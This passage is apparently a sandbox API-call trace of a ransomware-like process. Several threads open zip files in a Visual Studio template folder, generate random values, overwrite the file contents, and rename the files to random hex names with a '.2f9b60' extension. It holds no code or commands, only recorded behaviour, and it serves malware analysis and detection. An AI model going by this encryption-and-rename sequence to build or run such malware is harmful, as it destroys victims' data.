[0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x31f845af [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x5adf1e33 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x735e58f8 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x5261c992 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x5ba73e7b [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x7ec6f360 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x50c095a8 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0xff1e8a6 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x1eaf8af5 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x793a9cf4 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x101ff37d [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0xd36dc [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x7c8b196e [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x7f26dff3 [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x55616552 [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x186f0542 [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x1e1411ba [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x2bb461aa [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x5f845a4 [0228.459] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x4e4a47cc [0228.466] ReadFile (in: hFile=0x1bac, lpBuffer=0x41e84990, nNumberOfBytesToRead=0x85a, lpNumberOfBytesRead=0x2daef7d0, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesRead=0x2daef7d0*=0x85a, lpOverlapped=0x0) returned 1 [0228.466] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.466] WriteFile (in: hFile=0x1bac, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x85a, lpNumberOfBytesWritten=0x2daef7d4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2daef7d4*=0x85a, lpOverlapped=0x0) returned 1 [0233.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dab0 [0233.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0b0 [0233.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e0b0) returned 1 [0233.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0233.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0233.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d140) returned 1 [0233.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61330) returned 1 [0233.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ecb0 [0233.385] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.385] WriteFile (in: hFile=0x1bac, lpBuffer=0x42c201c0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2daef8f0, lpOverlapped=0x0 | out: lpBuffer=0x42c201c0*, lpNumberOfBytesWritten=0x2daef8f0*=0x11a, lpOverlapped=0x0) returned 1 [0235.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0235.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0235.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a22a0 [0235.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0235.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0235.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a39e0) returned 1 [0235.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858cd0 [0235.794] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.794] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.794] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="47") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="32") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.795] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.795] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="39") returned 2 [0235.795] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.795] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="69") returned 2 [0235.795] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="7f") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="08") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="94") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="82") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="56") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="75") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="73") returned 2 [0235.795] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.795] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.795] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.795] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.795] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="28") returned 2 [0235.795] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="02") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="37") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="35") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="df") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="55") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="33") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d1c, _Format="%c%c" | out: _Dest="51") returned 2 [0235.796] sprintf (in: _Dest=0x1b858d1e, _Format="%c%c" | out: _Dest="f5") returned 2 [0235.796] RtlInitAnsiString (in: DestinationString=0x2daef968, SourceString="c5ae471ea1ca32c5f3397e69ad7f2c08c694825675b473b28ba8f02802373c35cadf554c33a851f5" | out: DestinationString="c5ae471ea1ca32c5f3397e69ad7f2c08c694825675b473b28ba8f02802373c35cadf554c33a851f5") [0235.796] RtlAnsiStringToUnicodeString (in: DestinationString=0x2daef938, SourceString="c5ae471ea1ca32c5f3397e69ad7f2c08c694825675b473b28ba8f02802373c35cadf554c33a851f5", AllocateDestinationString=1 | out: DestinationString="c5ae471ea1ca32c5f3397e69ad7f2c08c694825675b473b28ba8f02802373c35cadf554c33a851f5") returned 0x0 [0235.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce16be0 [0235.797] wcscat (in: _Dest=0x1b78fb80, _Source="c5ae471ea1ca32c5f339" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339" [0235.797] wcscat (in: _Dest=0x1b78fb80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339.2f9b60" [0235.797] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339.2f9b60", NtPathName=0x2daef910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\c5ae471ea1ca32c5f339.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c15a70 Thread: id = 3791 os_tid = 0x17f0 [0227.637] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip")) returned 0x20 [0228.265] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip", dwFileAttributes=0x20) returned 1 [0228.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25cc [0228.266] GetFileSizeEx (in: hFile=0x25cc, lpFileSize=0x2ea2f660 | out: lpFileSize=0x2ea2f660*=952) returned 1 [0228.266] SetFilePointerEx (in: hFile=0x25cc, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.266] ReadFile (in: hFile=0x25cc, lpBuffer=0x2ea2f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ea2f628, lpOverlapped=0x0 | out: lpBuffer=0x2ea2f5e0*, lpNumberOfBytesRead=0x2ea2f628*=0x4, lpOverlapped=0x0) returned 1 [0228.792] SetFilePointerEx (in: hFile=0x25cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0228.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da80 [0228.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0228.793] NtQuerySystemTime (in: CurrentTime=0x2ea2f520 | out: CurrentTime=0x2ea2f520*=132462178327906000) returned 0x0 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x3079555b [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x5ab5245e [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x67ef736c [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x6a86bf6f [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x703c401b [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x2fa89e7e [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x3b48cd9e [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x22c352d1 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x74468671 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x7ff53775 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x2f6fa713 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x7dd88aa3 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x7f34d4d7 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x78300baf [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x1a8e334e [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x338d2591 [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x8655b7a [0228.793] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x541b2cd8 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x69472b6b [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x26150d7 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x415640af [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x10cc5a55 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0xc21978 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x14dd4ff [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x4b651d9b [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x2f4d681b [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x40a0a819 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x5df7c69f [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x28022edc [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x51a1a5c7 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x345a4d24 [0228.794] RtlRandomEx (in: Seed=0x2ea2f510 | out: Seed=0x2ea2f510) returned 0x5648e57 [0228.802] ReadFile (in: hFile=0x25cc, lpBuffer=0x41fb1d40, nNumberOfBytesToRead=0x3b8, lpNumberOfBytesRead=0x2ea2f510, lpOverlapped=0x0 | out: lpBuffer=0x41fb1d40*, lpNumberOfBytesRead=0x2ea2f510*=0x3b8, lpOverlapped=0x0) returned 1 [0228.802] SetFilePointerEx (in: hFile=0x25cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.802] WriteFile (in: hFile=0x25cc, lpBuffer=0x41f978d0*, nNumberOfBytesToWrite=0x3b8, lpNumberOfBytesWritten=0x2ea2f514, lpOverlapped=0x0 | out: lpBuffer=0x41f978d0*, lpNumberOfBytesWritten=0x2ea2f514*=0x3b8, lpOverlapped=0x0) returned 1 [0233.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab00 [0233.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0233.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0233.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f978d0) returned 1 [0233.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb1d40) returned 1 [0233.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a0c0) returned 1 [0233.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61b00) returned 1 [0233.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202ab070 [0233.039] SetFilePointerEx (in: hFile=0x25cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.039] WriteFile (in: hFile=0x25cc, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ea2f630, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x2ea2f630*=0x10a, lpOverlapped=0x0) returned 1 [0235.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0235.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4600) returned 1 [0235.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0235.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0235.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40f0) returned 1 [0235.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad820 [0235.357] sprintf (in: _Dest=0x431ad820, _Format="%c%c" | out: _Dest="76") returned 2 [0235.357] sprintf (in: _Dest=0x431ad822, _Format="%c%c" | out: _Dest="07") returned 2 [0235.358] sprintf (in: _Dest=0x431ad824, _Format="%c%c" | out: _Dest="db") returned 2 [0235.358] sprintf (in: _Dest=0x431ad826, _Format="%c%c" | out: _Dest="54") returned 2 [0235.358] sprintf (in: _Dest=0x431ad828, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.358] sprintf (in: _Dest=0x431ad82a, _Format="%c%c" | out: _Dest="ce") returned 2 [0235.358] sprintf (in: _Dest=0x431ad82c, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.358] sprintf (in: _Dest=0x431ad82e, _Format="%c%c" | out: _Dest="78") returned 2 [0235.358] sprintf (in: _Dest=0x431ad830, _Format="%c%c" | out: _Dest="72") returned 2 [0235.358] sprintf (in: _Dest=0x431ad832, _Format="%c%c" | out: _Dest="67") returned 2 [0235.358] sprintf (in: _Dest=0x431ad834, _Format="%c%c" | out: _Dest="82") returned 2 [0235.358] sprintf (in: _Dest=0x431ad836, _Format="%c%c" | out: _Dest="66") returned 2 [0235.358] sprintf (in: _Dest=0x431ad838, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.358] sprintf (in: _Dest=0x431ad83a, _Format="%c%c" | out: _Dest="61") returned 2 [0235.358] sprintf (in: _Dest=0x431ad83c, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.358] sprintf (in: _Dest=0x431ad83e, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.358] sprintf (in: _Dest=0x431ad840, _Format="%c%c" | out: _Dest="af") returned 2 [0235.358] sprintf (in: _Dest=0x431ad842, _Format="%c%c" | out: _Dest="89") returned 2 [0235.358] sprintf (in: _Dest=0x431ad844, _Format="%c%c" | out: _Dest="86") returned 2 [0235.358] sprintf (in: _Dest=0x431ad846, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.358] sprintf (in: _Dest=0x431ad848, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.358] sprintf (in: _Dest=0x431ad84a, _Format="%c%c" | out: _Dest="d5") returned 2 [0235.358] sprintf (in: _Dest=0x431ad84c, _Format="%c%c" | out: _Dest="76") returned 2 [0235.358] sprintf (in: _Dest=0x431ad84e, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.358] RtlInitAnsiString (in: DestinationString=0x2ea2f6a8, SourceString="7607db54a6ce5a78726782665c61cd6eaf8986d65dd576b4" | out: DestinationString="7607db54a6ce5a78726782665c61cd6eaf8986d65dd576b4") [0235.358] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ea2f678, SourceString="7607db54a6ce5a78726782665c61cd6eaf8986d65dd576b4", AllocateDestinationString=1 | out: DestinationString="7607db54a6ce5a78726782665c61cd6eaf8986d65dd576b4") returned 0x0 [0235.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f360 [0235.359] wcscat (in: _Dest=0x423aafb0, _Source="7607db54a6ce" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce" [0235.359] wcscat (in: _Dest=0x423aafb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce.2f9b60" [0235.359] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce.2f9b60", NtPathName=0x2ea2f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7607db54a6ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x1cebc8b0 Thread: id = 3792 os_tid = 0xe80 [0227.638] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip")) returned 0x20 [0228.267] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip", dwFileAttributes=0x20) returned 1 [0228.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settingsinternal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x460 [0228.268] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x29dbfbc0 | out: lpFileSize=0x29dbfbc0*=980) returned 1 [0228.268] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x3d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.268] ReadFile (in: hFile=0x460, lpBuffer=0x29dbfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dbfb88, lpOverlapped=0x0 | out: lpBuffer=0x29dbfb40*, lpNumberOfBytesRead=0x29dbfb88*=0x4, lpOverlapped=0x0) returned 1 [0228.428] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3740 [0228.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0228.429] NtQuerySystemTime (in: CurrentTime=0x29dbfa80 | out: CurrentTime=0x29dbfa80*=132462178324162000) returned 0x0 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x7b1a2c26 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x5b8c7275 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x5a063901 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x32d12fdb [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x31f07c47 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x5dc0e0f7 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x2100c88 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x527579e8 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x1f28ba33 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x4059ced2 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x4518e012 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: Seed=0x29dbfa70) returned 0x6c557599 [0228.429] RtlRandomEx (in: Seed=0x29dbfa70 | out: 